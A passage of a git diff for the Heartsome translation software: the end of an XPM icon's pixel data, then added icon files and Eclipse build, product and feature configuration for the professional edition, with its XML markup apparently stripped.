]_ N1 ;7 >7 ,7 =6 %5 -6 &5 U2 '7 )7 !7 ~7 {7 ]7 ^7 /7 (7 _7 :7 <7 [7 }7 |7 17 27 37 47 b2 57 67 :4 <4 F< 77 87 97 07 a7 b7 c7 d7 e7 g^ a5 f7 g7 h7 i7 j7 k7 l7 m7 n7 o7 p7 -, q7 r7 s7 t7 u7 v7 w7 x7 y7 z7 :4 :4 Z} A7 B7 C7 D7 G6 E7 F7 G7 H7 I7 J7 K7 L7 M7 N7 O7 J3 M4 P7 Q7 R7 S7 T7 U7 V7 W7 X7 Y7 Z7 `7 8 .8 +8 @8 #8 $8 %8 &8 *8 =8 -8 U] ;8 D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 ,8 '8 )8 !8 =6 ~8 -6 {8 ]8 ^8 /8 (8 _8 :8 <8 [8 }8 |8 18 28 38 48 58 -4 B2 68 78 88 G< 67 :4 67 98 08 a8 b8 c8 d8 8! e8 f8 05 g8 %} h8 i8 j8 k8 l8 m8 n8 o8 p8 q8 r8 s8 t8 u8 5] U, !{ v8 w8 x8 y8 z8 A8 A8 B8 C8 56 57 D8 B5 M> E8 F8 G8 H8 I8 J8 K8 L8 M8 M4 N8 O8 P8 Q8 R8 S8 T8 U8 V8 W8 X8 Y8 `7 Z8 `8 9 .9 +9 @9 #9 $9 %9 &9 *9 =9 /- e# D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 -9 ;9 >9 ,9 !8 ,7 '9 )9 !9 ~9 {9 ]9 ^9 /9 (9 _9 :9 <9 [9 }9 |9 19 29 39 49 59 69 79 E< 67 _4 Q[ 89 99 09 a9 b9 c9 d9 e9 f9 g9 h9 i9 j9 k9 l9 m9 n9 o9 p9 q9 r9 s9 t9 u9 v9 w9 x9 y9 z9 A9 05 *1 B9 Z} B8 C9 B8 C8 F< D9 E9 F9 G9 H9 I9 J9 K9 L9 M9 N9 O9 P9 Q9 R9 S9 T9 U9 V9 W9 X9 Y9 Z9 `9 0 .0 +0 @0 #0 $0 %0 &0 *0 =0 -0 ;0 >0 ,0 '0 2= e# D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 )0 !0 ~0 >9 ,9 !8 {0 ]0 ^0 /0 (0 _0 :0 <0 [0 }0 |0 10 20 30 40 50 60 70 80 90 00 *~ (4 <4 67 E< a0 b0 c0 d0 e0 d: f0 g0 6] y4 q( h0 i0 j0 k0 l0 m0 n0 o0 p0 q0 r0 s0 t0 u0 v0 w0 x0 y0 z0 A0 B0 E< C0 A8 B8 A8 )2 C7 D0 E0 F0 G0 H0 I0 J0 K0 L0 M0 N0 O0 P0 Q0 R0 S0 T0 U0 V0 W0 X0 Y0 Z0 `0 a .a +a @a #a $a %a &a *a =a -a ;a >a ,a 'a 2= e# D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 )a !a ~a {a ]a ^a /a (a _a :a b ,b 'b )b !b =a ~b {b ]b ^b /b (b E% e# D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 _b :b c ,c 'c )c !c ~c {c ]c ^c /c (c _c :c d ,d 'd )d !d ~d {d ]d ^d /d (d _d :d e ,e fb 'e )e !e ~e {e ]e ^e ^e /e (e _e :e f ,f 'f )f !f ~f {f ]f ^f /f (f _f :f g ,g 'g )g !g ~g {g ]g ^g A9 /g Nf V' (g _g :g h ,h 'h )h !h ~h {h ]h ^h /h ^h (h _h :h i ,i 'i )i !i ~i {i ]i ^i /i (i _i :i f ai bi ci di ei fi gi hi ii ji ki li mi ni oi pi qi ri si ti 5b ui vi wi xi yi zi Ai Bi Ci Di Ei Fi Gi Hi Ii Ji Ki Li wg ge d# e# D$ E$ . . . . ", +". . . . h# i# j# g Eh Mi Ni Oi Pi Qi Ri Si Ti Ui Vi Wi Xi Yi Zi `i j .j +j @j #j $j %j &j *j =j -j ;j Xg @i s: Pf >j ,j 'j )j !j ~j {j ]j y9 ^j /j (j _j :j k ,k 'k )k !k ~k {k ]k ^k /k 0i @i Pf Pf L: (k _k :k l ,l 'l )l !l ~l {l ]l ^l j /l (l _l :l m ,m 'm )m !m ;l ~m {m ]m ^m /m (m _m :m n ,n Wj %m d# e# D$ E$ . . . . ", +". . . . h# i# j# g &m Mi 'n )n !n ~n {n ]n ^n /n (n _n :n o ,o 'o )o *n !o ~o {o ]o ^o /o (o Wj %m d# e# D$ E$ . . . . ", +". . . . h# i# j# g &m _o :o p ,p 'p )p !p ~p {p ]p ^p /p (p _p :p

    q ,q 'q )q !q ~q {q ]q ^q /q (q _q :q Mq Nq Oq Pq Qq Rq Sq Tq Uq Vq Wq Xq Yq Zq `q r .r +r @r #r $r %r &r *r Hq =r -r ;r >r ,r 'r )r !r ~r {r ]r ^r /r (r _r :r s ,s 's )s !s ~s {s ]s ^s /s =r (s _s :s r @t #t $t %t &t *t =t -t ;t >t ,t 't )t !t ~t {t ]t ^t /t (t _t :t u ,u 'u )u !u ~u {u ]u ^u /u (u _u :u v ,v 'v *u /s )v !v ~v {v ]v ^v /v Pn -t (v _v :v w ,w 'w )w !w ~w {w ]w ^w /w (w _w :w x ,x 'x )x -v !x ~x {x ]x @w ^x /x (x _x :x y ,y 'y nr )y &x !y *x ~y d# e# D$ E$ . . . . ", +". . . . h# i# j# g sr Zv {y ]y ^y /y (y _y :y {x z ,z 'z )z !z ~z {z ]z ^z 'y nr )y /z (z fq ~y d# e# D$ E$ . . . . ", +". . . . h# i# j# g sr Zv _z :z A ,A 'A )A !A ~A {A ]A ^A /A (A -y _A :A B ,B 'B )B !B ~B =z {B ]B ^B /B (B rs _B :B C ,C 'C )C !C ~C {C ]C ^C /C (C _C :C D ,D 'D )D !D ~D {D ]D rs ^D /D (D _D :D x fD gD hD iD jD gB kD lD mD nD oD pD qD rD sD -x tD uD vD wD xD yD zD AD BD CD DD ED FD GD HD ID JD KD LD MD E ,E 'E )E !E /D ~E {E ]E ^E /E (E _E :E F ,F 'F )F !F ~F {F ]F ^F /F (F _F :F G ,G 'G )G !G ~G {G ]G ^G /G (G _G :G H ,H 'H )H !H ~H {H ]H ^H /H (H _H :H I ,I 'I )I !I ~I {I ]I ^I /I (I _I :I J ,J 'J )J !J ~J {J ]J ^J /J (J _J :J K ,K 'K )K =H !K ~K {K ]K ^K /K (K _K :K L ,L 'L )L !L ~L {L `D ]L ^L /L /L (L _L :L M ,M 'M )M .J !M ~M {M 'H ]M .E wF ^M /M (M _M :M N ,N 'N )N !N ~N {N ]N ^N /N (N _N :N O ,O 'O )O !O ~O {M {O ]O ^O [D /O (O _O :O P ,P 'P )P !P ~P {P ]P ^P /P (P _P :P

    Q ,Q 'Q )Q !Q ~Q {Q ]Q ^Q /Q (Q _Q :Q qJ (O R ,R 'R )R !R ~R {R ]R ]R ^R /R (R _R :R S ,S 'S )S ]R _P !S ~S >I {S T ,T 'T )T !T ~T {T ]T ^T /T (T 1S _T bQ :T U ,U 'U )U !U ~U {U ]U ^U /U (U Bu _U 6T Uw :U V ,V 'V )V !V ~V {V ]V ^V /V Bu (V Uw _V :V W ,W 'W )W !W ~W !W )W 1V {W ]W ^W 0T 2U 2U 4V mS mS /W 4U (W yO _W fq rr d# e# D$ E$ . . . . ", +". . . . h# i# } |. :W X ,X fq 'X d# e# D$ E$ . . . . ", +". . . . h# i# } |. )X !X ~X {X ]X ^X /X (X _X :X :X Y ,Y 'X d# e# D$ E$ . . . . ", +". . . . h# i# } p 'Y )Y !Y ~Y (A {Y ]Y ^Y /Y (Y _Y :Y Z ,Z 'Z )Z !Z {J {E ~Z {Z ]Z ]O ^Z fV /Z rs (Z _Z :Z sY ` ,` '` '` ,` )` !` ~` {` ]` ^` /` (` _` :` <` [` }` |` 1` 2` 3` rs 4` 5` 6` 7` HP 8` 9` ~J 0` a` xG b` c` d` e` f` g` h` i` j` k` l` m` n` o` p` q` r` s` t` u` v` w` x` y` z` A` B` C` D` E` F` wZ G` #x H` 0 I` J` YX rs a` K` L` M` N` rI O` wP P` Q` @Z @Z #Z ZZ R` R` S` T` `Z *Z U` fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ q V` W` X` rs :Q ~S Y` Y` Z` `` rs .. .+ .@ .# .$ .% .& .$ .* .= .- .; .> ., .' .) .! .~ .{ .] .^ ./ .( ._ .: .< .'` [ .} .| .1 .1 .2 .3 .4 .;G $K rs 5 .6 .7 .8 .9 .0 .a .b .c .d .e .f .rs g .h .i .j .k .l .m .n .o .p .q .)z r .qF 3Y s .t .N` u ..Y .Y aE v .w .x .y .z .rs A .B .C .D .E .F .G .xN uO 4V #Z #Z ZZ H .I .S` `Z J .K .fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ q L .M .N .kQ ;G O .P .Q .R .S .T .U .V .W .X .Y .Z .` .` . .....+..@..#..$..%..&..*..=..-..;..>..,..'..)..tS !..~..{..]..^../..(.._../..:..<..3S [..}..|..rs 1..2..3..4..5..6..7..8..9..0..a..b..c..d..e..f..g..h..i..j..k..l..m..n..o..p..q..r...w s..t..u..v..w..x..y..z..A..B..rs rs Tt C..D..E..F..G..lr xM $Z YZ H..I..I .I .J..K..L..fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ k M..N..O..GO ZT P..P .Q..R..rs xZ S..#T T..U..EO V..W..V..EO X..X .Y..Z..rs `.. +..+.++.@+.#+.$+.%+.&+.*+.=+.-+.;+.>+. E ,+.pS FP BQ '+.)+.!+.~+.{+.,B mQ ]+.rs ^+./+.(+._+.:+.<+.[+.}+.|+.1+.2+.3+.4+.5+.6+.7+.8+.9+.0+.a+.b+.c+.d+.e+._U f+.g+.h+.i+.C` j+.k+.l+.m+.n+.o+.p+.q+.r+.s+.rs rs t+.u+.v+.w+.x+.qG wK &Z H..H..H .I .J..K..L..fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ >Z )X y+.z+.A+.B+.;+.C+.D+.E+.r..F+.G+.(P H+.DO W..I+.I+.V..J+.K+.]R #A L+.M+.N+.O+.P+.Q+.EY R+.rs S+.T+.U+.-+.V+.W+.X+.Y+.Z+.`+. @..@.+@.CP @@.#@.$@.%@.&@.*@.=@.-@.;@.>@.,@.'@.)@.!@.~@.{@.]@.^@./@.(@._@.:@.<@.[@.}@.|@.1@.2@.3@.4@.5@.6@.7@.8@.9@._C 0@.a@.b@.c@.d@.e@.F .bD f@.g@.h@.b` rs rs i@.j@.k@.l@.m@.n@.yK %Z R` H..o@.J..p@.q@.,Y 'X d# e# D$ E$ . . . . ", +". . . . h# i# .` p r@.s@.t@.u@.!+.;+.v@.w@.rs x@.y@.z@.,+.A@.W..B@.I+.C@.EO D@.E@.F@.G@.rs H@.I@.J@.XT K@.C+.rs L@.M@.N@.ZT QV HX O@.P@.Q@.JX )+.R@.EO DN S@.V..T@.U@.V@.W@.X@.Y@.Z@.`@. #..#.+#.@#.##.$#.%#.&#.*#.=#.-#.;#.>#.,#.'#.)#.!#.~#.{#.]#.^#./#.(#._#.:#.<#.8@.[#.}#.|#.1#.aC 2#.3#.4#.}#.5#.6#.7#.8#.Mt rs rs 9#.0#.a#.b#.n@.wJ &Z o@.c#.d#.e#.f#.fq 'X d# e# D$ E$ . . . . ", +". . . . h# i# } |. g#.h#.i#.j#.k#.;+.l#.m#.rs n#.o#.W+.pS DN p#.q#.p#.S@.r#.pS s#.G+.t#.u#.v#.X+.YT w#.x#.y#.z#.A#.B#._T C#.D#.E#.cT F#.]..G#.H#.I#.J#.K#.V..p#.p#.C@.L#.M#.N#.O#.P#.Q#.R#.S#.T#.U#.V#.W#.X#.Y#.Z#.`#. $..$.+$.@$.#$.$$.%$.&$.*$.Q..=$.-$.;$.>$.,$.'$.)$.!$.~$.{$.]$.^$.3Y /$.($.pG pG %.DK ,%.Q@.'%.)%.rs !%.mQ QV ~%.A@.{%.c$.EN A@.]%.^%./%.=Q (%._%.~+.:%.<%.[%.}%.rs x@.|%.Mw 1%.2%.3%.4%.5%.i$.6%.rs 7%.8%.9%.0%.a%.CO b%.c%.c%.d%.e%.f%.g%.h%.i%.j%.k%.l%.m%.n%.o%.p%.q%.r%.s%.t%.u%.v%.w%.x%.y%.z%.A%.]Y B%.C%.D%.E%.F%.G%.H%.I%.J%.K%.Lv L%.M%.N%.rs O%.P%.=%.Q%.R%.S%.T%.U%.FQ rs rs V%.W%./@ X%.dE p@.c#.d#.4$.fq 'X d# e# D$ E$ . . . . ", +". . . . h# i# } Y%.Z%.`%.i#..@. &..&.+&.8U rs {Z |D D#.Q@.,%.@&.CP zQ #&.$&.v$.%&.&&.*&.=&.$&.0%.TV -&.z@.rs ;&.>&.rs 9D ,&. X '&.=C 9%.)&.!&.t#.~&.{&.$B ]&.#F d%.q#.q#.^&./&.(&._&.:&.qQ <&.[&.}&.|&.1&.2&.3&.4&.5&.6&.7&.8&.9&.0&.a&.b&.c&.d&.e&.f&.g&.h&.Fu 'W I%.i&.j&.i&.k&.$X %Y l&.m&.n&.rs fD o&.p&.q&.r&.s&.t&.u&.v&.rs rs w&.x&.y&.z&.AM J..d#.4$.fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z .` p r@.A&.B&.C&.D&.E&.{U F&.rs G&.Q$.LZ H&.I&.J&.q$.q$.,%.K&.L&.M&.rs *.,*.'*.)*.!*.~*.{*.]*.^*./*.(*._*.:*.<*.[*.}*.rs |*.1*.i# 2*.U$.3*.j&.4*.5*.6*.)W =z 7*.8*.9*.a` nF 0*.a*.b*.c*.d*.e*.f*.jD rs g*.h*.i*.j*.k*.;%.K..l*.,Y 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ >Z m*.n*.o*.p*.q*.V&.r*.s*.~J rs V%.t*.u*.v*.w*.x*.,%.N#.N&.y*.%` z*.-&.Y&.#@.A*.B*.C*.D*.E*.OS F*.dV G*.H*.I*.J*.a%.K*.L*.M*.N*.,+.rs O*.P*._&.Q*.R*.#*.S*.S*.T*.U*.V*.W*.X*.Y*.Z*.`*. =..=.+=.@=.#=.$=.%=.&=.*=.==.-=.;=.>=.,=.Gt !x '=.VW )=.!=.~=.{=.]=.5*.^=./=.(=._=.pR :=.<=..%.rs A*.[=.'y 'y }=.|=.1=.2=.3=.rs 4=.5=.`$.6=.7=.8=.l*.9=.'X d# e# D$ E$ . . . . ", +". . . . h# ;Z 0=.q a=.b=.c=.d=.=C e=.f=.c` g=.h=.rs yG B .i=.j=.u@.k=.Q+.l=.s#.7%.YT m=.X&.a%.zQ n=.o=.p=.dC rs rs q=.r=.s=.L*.t=.d%.u=.v=.w=.x=.N*.y=.[D {A z=.A=.B=.C=.S*.#*.D=.E=.F=.Yy n&.G=.rs H=.I=.J=.K=.L=.M=.N=.O=.P=.Q=.R=.S=.T=.U=.V=.W=.X=.$ ./Y rs Y=.Z=.`=. -.(=.^=..-.+-.@-.#-.pR $-.%-.&-.rs 7@.*-.=-.--.;-.j*.>-.,-.'-.rs )-.!-.~-.{-.]-.^-.,Y 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z 0=./-.(-._-.:-.<-.5E m=.[-.}-.|-.RY 1-.rs rs rs rs 2-.3-.4-.5-.6-.7-.FY s=.8-.9-.0-.a-.b-.c-.d-.rs rs e-.f-.g-.h-.i-.C=.j-.k-.l-.m-.F .CI rs n-.o-.p-.q-.D=.D=.r-.r-.s-.t-.u-.v-.w-.mI x-.y-.z-.A-.B-.C-.D-.E-.F-.G-.H-.I-.J-.K-.L-.M-.N-.O-.P-.wR Q-.R-.a*.S-.T-.U-./=.V-.W-.X-.Y-.yP xs Z-.J*.A .`-. ;.Bs &x .;.+;.@;.} .rs rs #;.$;.%;.&;.*;.=;.-;.d# e# D$ E$ . . . . ", +". . . . h# ;Z 0=./-.;;.>;.,;.<-.4C ';.^U );.(C !;.~;.lH {;.];.^;./;.(;._;.:;.<;.VW [;.};.|;.1;.d%.k-.2;.3;.4;.5;.rs rs 6;.7;.8;.9;.C=.0;.T*.a;.b;.c;.d;.rs ]%.fS e;.f;.g;.h;.i;.i;.j;.k;.l;.m;.n;.o;.rs p;.q;.r;.s;.t;.u;.v;.w;.x;.y;.z;.A;.C .B;.rs C;.&T .-;.d# e# D$ E$ . . . . ", +". . . . h# ;Z 0=.q .>.+>.@>.rs NK #>.$>.fQ %>.&>.*>.=>.: .v*.bD ->.;>.m-.>>.D@.rs '&.,>.'>.)>.i%.T*.(&.!>.~>.N*.FM {>.]>.EK ^>.9;.C=.0;.T*.%*./>.(>.W@.rs ,%._>.:>.f;.i;.h;.i;.i;.<>.[>.}>.|>.1>.R@.rs 2>.3>.4>.5>.6>.7>.8>.9>.0>.a>.b>.c>.Ou T;.wF <;.d>.&w e>.f>.7-.g>.h>.Xw &X i>.W-.j>.k>.l>.m>.n>.vO o>.p>.q>.r>.s>.}A jF t>.u>.v>.w>.rs rs #;.x>.y>.z>.A>.-;.E% e# D$ E$ . . . . ", +". . . . h# ;Z (@ q ,Z B>.C>.D>.rs E>.F>.8%.G>.H>.rs I>.4C J>.K>.L>._&.&*.M>.N>.rs O>.uM b;.+*.k-.P>.k-.Q>.2;.R>.S>.T>.d+.V*.Q*.U>.#*.V>.W>.F=.Yy X>.H+.rs Tx .Z>.i;.`>.h;.i;. ,..,.+,.@,.#,.$,.rs %,.&,.*,.=,.-,.;,.>,.,,.',.),.!,.$>.vM ~,.}N i+.{,.],.^,./,.(,.rs _,.:,.<,.[,.l>.k>.j>.},.|,.1,.ZZ vI 2,.3,.i+.4,.5,.}A AL 6,.7,.8,.Qw rs GN 9,.0,.a,.b,.-;.E% e# D$ E$ . . . . ", +". . . . h# ;Z j# p c,.d,.e,.f,.g,.rs rs rs rs a@.~+.h,.>>.$,.V*.i,.i,._&.Tx j,.k,._R l,.m,.n,.U*.o,.T*.p,.q,.r,.s,.t,.u,.v,.w,.x,.h;.h;.y,.z,.m;.b#.A,.&&.B,.C,.D,.E,.F,.F,.G,.H,.I,.J,.+,.K,.L,.Mv 4` C&.M,.N,.O,.P,.Q,.R,.S,.T,.@z U,.V,.W,.X,.Y,.gT Z,.`,. '..'.+'.@'.#'.$'.tQ =X %'.&'.j>.k>.*'.='.-'.wQ ;'.>'.,'.''.)'.}A zK !'.~'.{'.]'.rs hP @%.^'./'.('._'.E% e# D$ E$ . . . . ", +". . . . h# i# } p r@.:'.<'.M>.['.e=.}'.JX |'.vs 4#.R>.8;.1'.2'.y,.3'.r,.4'.5'.1A rs n..uJ 4'.6'.$*.g;.7'.8'.9'.0'.a'.0'.9'.b'.i;.h;.x,.a'.c'.d'.n&.e'.f'.g'.h'.i'.j'.k'.k'.l'.m'..,.n'.o'.p'.q'.r'.s'.t'.u'.b#.v'.w'.x'.y'.Y` ZW z'.A'.B'.C'.D'.E'.F'.J#.G'.H'.I'.J'.K'.L'.M'.N'.^W O'.P'.k>.Q'.R'.S'.T'.R` yM U'.1;.V'.W'.X'.Y'.X'.Z'.`'.jR rs rs )..).+).@)._'.#).e# D$ E$ . . . . ", +". . . . h# i# } |. :W $).%).s,.&).*).=).-).;).&).>).,).v,.f;.').s-.)).!).~).{).]).rs ^)./).().,)._).g;.h;.h;.h;.r-.g;.:).j;.i;.<).i;.[).!).}).|).V@.rs |;.1).2).3).J,.k'.I,.m'.4).5).3).R$.@y 6).7).s'.g>.8).9).0).=-.a).b).BI c).d)._#.e).XZ f).%-.'>.g).h).i)._>.j).k).l).m).n).2U o).|,.p).R'.R'.q).r).s).4U t).u).v).w).x).y).z).Z;.A).B).]D rs C).D).E).F).G).#).e# D$ E$ . . . . ", +". . . . h# i# j# |. vH H).I).J).:>.}).K).K).}).L).}>.M).k;.').N).:).O).P).Q).R).S).T).rs U).V).:>.t-.b'.<).W).W).W).X).X).W).W).`>.G,.k;.Y).Z).cD `). !.Pu U$..!.5).+!.k'.@!.#!.$!.%!.&!.iS As *!.=!.a` -!.;!.>!.,!.'!.)!.B'.!!.~!.{!.]!.^!./!.(!._!.:#.:!..}!.|!.1!.<-.xM 4U 2!.='.R'.R'.q).q).3!.4!.I .5!.6!.7!.p,.8!.9!.0!.a!.C'.b!.c!.rs d!.e!.f!.g!.h!.#).e# D$ E$ . . . . ", +". . . . ^@ i# j# g i!.j!.k!.E=.l!.m!.!).!).t-.Z>.y,.s-.g;.i;.h;.h;.h;.s-.n!.:>.o!.g-.rs mD p!.q!.a'.g;.r!.s!.t!.t!.t!.t!.t!.t!.X). ,.u!.v!.w!.x!.rs y!.xs z!.A!.l'.B!.B!.C!.D!.E!.F!.w'.G!.H!.(!.p#.rs I!.J!.K!.L!.M!.AL N!.O!.P!.<,.t).Q!.R!.S!.T!.U!.V!.]!.x!.W!.a).X!.1B $W o,.Y!.Z!.`!. ~. ~..~.R'.+~.@~.#~.&Z $~.%~.&~.*~.=~.-~.;~.>~.,~.#&.rs '~.)~.!~.~~.h!.#).e# M1 g# . . . . ", +". . . . {~.Z. ]~.g ^~./~.(~._~.:~.<~.<~.[~.}~.|~.1~.2~.3~.3~.3~.4~.4~._~.5~.6~.7~.8~.9~.0~.a~.b~.c~.d~.e~.f~.g~.g~.f~.g~.f~.h~.f~.i~.j~.k~.l~.0~.m~.n~.o~.p~.q~.r~.s~.t~.u~.v~.j~.w~.x~.y~.z~.A~.B~.C~.D~.E~.F~.G~.qr H~.I~.J~.K~.L~.K~.M~.N~.O~.P~.Q~.R~.S~.T~.U~.V~.W~.X~.Y~.Z~.`~. {..{.+{.@{.#{.${.%{.&{.*{.={.-{.;{.>{.,{.'{.){.!{.~{.{{.]{.^{./{.({._{.:{.<{.E% [{.{@ }{.. . . . ", +". . . . |{.1{.2{.|. 3{.4{.5{.6{.7{.7{.7{.7{.7{.7{.8{.8{.8{.8{.8{.8{.8{.9{.0{.a{.b{.c{.d{.e{.f{.g{.h{.0{.9{.7{.7{.7{.7{.7{.7{.7{.i{.j{.k{.l{.m{.n{.o{.p{.q{.r{.s{.9{.7{.i{.t{.u{.v{.w{.x{.y{.z{.A{.B{.C{.D{.E{.F{.G{.b{.H{.g{.I{.J{.F).K{.L{.M{.N{.O{.P{.E{.Q{.R{.S{.T{.U{.V{.W{.X{.Y{.Z{.`{. ].,Y ,Y ,Y ,Y .].+].@].#].J{.$].%].&].b,.*].U{.=].j .-].;].>].,].'].)]./. !].~].{].. . . . ", +" . . . ]].^]./].(]._].:].<].[].}].}].}].}].}].}].}].}].}].}].|].|].|].}].1].2].3].4].5].6].7].8].9].0].|].|].|].|].|].|].|].|].|].a].b].3].c].d].e].f].3].g].h].|].|].|].h].i].j].k].l].m].n].o].p].q].r].s].t].u].v].v].w].x].y].z].z].A].B].C].D].E].F].G].t].H].I].J].K].L].M].N].O].P].Q].Q].Q].R].R].Q].P].S].T].M].j].U].V].W].N].X].Y].Z].`]. ^..^.+^.Z].@^.#^.$^.4,.%^.. . . . ", +" . . . . &^.*^.=^.|. V. -^.d# d# d# d# d# d# d# d# d# d# d# d# d# d# d# E% 2= /- U] H{ H{ H{ U] ;^./- d# d# d# d# d# d# d# d# d# d# ;^.U] H{ H{ H{ U] /- >^.d# d# d# d# d# ;^.,^.H{ z} '^.'^.<, '^.z} )^.U] U] !^.;^.;^.;^./- ;^.;^./- /- ,^.,^.U] H{ U] U] U] !^.;^./- /- /- ;^./- /- d# d# d# d# d# d# d# d# 2= ;^.;^.;^.;^.2= 2= 2= /- U] H{ ~^.H{ U] U] o {^.]^.^^./^.]].. . . ", +" . . . . (^._^.:^.<^.6 [^.e# e# e# e# e# e# e# e# e# e# e# e# e# e# e# e# }^.;8 !; !; !; |^.!; !; }^.e# e# e# e# e# e# e# e# e# }^.;8 !; !; [, !; !; ;8 ;8 e# e# e# e# e# !; $/ [, G| 1^.1^.1^.1^.6' [, !; !; !; !; !; !; ;8 ;8 ;8 ;8 ;8 !; !; !; !; !; !; !; !; !; ;8 ;8 ;8 ;8 ;8 }^.e# e# e# e# e# e# e# }^.}^.;8 ;8 ;8 ;8 }^.}^.}^.;8 !; |^.|^.|^.!; 2^.3^.4^.^^.5^.6^.. . . . ", +" . . . . . 7^.8^.9^.0^.a^.f# t t t t t t t t t t t t t t t t t D$ D$ D$ D$ D$ D$ t t t t t t t t t t t D$ D$ D$ D$ D$ D$ t t t t t t t D$ D$ v~ v~ f# f# f# v~ D$ D$ D$ D$ D$ D$ D$ D$ t t t t t D$ D$ D$ D$ D$ D$ D$ D$ D$ t t t t t t t t t t t t t t t t t t t t t t D$ D$ D$ D$ D$ f# {@ ~].4,.b^.c^.. . . . . ", +" . . . . . . d^.% e^.f^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.h^.g^.g^.h^.h^.g^.h^.h^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.E$ i^.j^.k^.l^.. . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . "}; diff --git a/ts/net.heartsome.cat.ts.edition_personal.feature/icons/macosx/xliff.icns b/ts/net.heartsome.cat.ts.edition_personal.feature/icons/macosx/xliff.icns new file mode 100644 index 0000000..6ccdcfe Binary files /dev/null and b/ts/net.heartsome.cat.ts.edition_personal.feature/icons/macosx/xliff.icns differ diff --git a/ts/net.heartsome.cat.ts.edition_personal.feature/icons/win32/xliff_16.bmp b/ts/net.heartsome.cat.ts.edition_personal.feature/icons/win32/xliff_16.bmp new file mode 100644 index 0000000..2f0ebdd Binary files /dev/null and b/ts/net.heartsome.cat.ts.edition_personal.feature/icons/win32/xliff_16.bmp differ diff --git a/ts/net.heartsome.cat.ts.edition_personal.feature/icons/win32/xliff_32.bmp b/ts/net.heartsome.cat.ts.edition_personal.feature/icons/win32/xliff_32.bmp new file mode 100644 index 0000000..ba3471e Binary files /dev/null and b/ts/net.heartsome.cat.ts.edition_personal.feature/icons/win32/xliff_32.bmp differ diff --git a/ts/net.heartsome.cat.ts.edition_personal.feature/icons/win32/xliff_48.bmp b/ts/net.heartsome.cat.ts.edition_personal.feature/icons/win32/xliff_48.bmp new file mode 100644 index 0000000..45b56d4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.edition_personal.feature/icons/win32/xliff_48.bmp differ diff --git a/ts/net.heartsome.cat.ts.edition_personal.feature/plugin_customization.ini b/ts/net.heartsome.cat.ts.edition_personal.feature/plugin_customization.ini new file mode 100644 index 0000000..333fab9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_personal.feature/plugin_customization.ini @@ -0,0 +1 @@ +org.eclipse.ui/SHOW_PROGRESS_ON_STARTUP = true diff --git a/ts/net.heartsome.cat.ts.edition_professional.feature/.project b/ts/net.heartsome.cat.ts.edition_professional.feature/.project new file mode 100644 index 0000000..1909d31 --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_professional.feature/.project @@ -0,0 +1,17 @@ + + + net.heartsome.cat.ts.edition_professional.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/ts/net.heartsome.cat.ts.edition_professional.feature/ProfessionalEdition.product b/ts/net.heartsome.cat.ts.edition_professional.feature/ProfessionalEdition.product new file mode 100644 index 0000000..696a993 --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_professional.feature/ProfessionalEdition.product @@ -0,0 +1,103 @@ + + + + + + + + + %aboutF + + + + + + + + -Dfile.encoding=UTF-8 +-Xms512m +-Xmx512m +-XX:PermSize=96m +-XX:MaxPermSize=96m +-Xmn256m +-Dversion=8.2.1 +-Ddate=20130502 + -XstartOnFirstThread -Dorg.eclipse.swt.internal.carbon.smallFonts + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.edition_professional.feature/build.properties b/ts/net.heartsome.cat.ts.edition_professional.feature/build.properties new file mode 100644 index 0000000..e8ea23e --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_professional.feature/build.properties @@ -0,0 +1,4 @@ +bin.includes = feature.xml,\ + icons/,\ + plugin_customization.ini +javacDefaultEncoding.. = UTF-8 diff --git a/ts/net.heartsome.cat.ts.edition_professional.feature/feature.xml b/ts/net.heartsome.cat.ts.edition_professional.feature/feature.xml new file mode 100644 index 0000000..f6f0466 --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_professional.feature/feature.xml @@ -0,0 +1,189 @@ + + + + + [-en-] +--------------------------------- +New features: +1. New editing, deleting and copying function for TM match. +2. New offline activation function, licenses can be activatedwithout network connection. 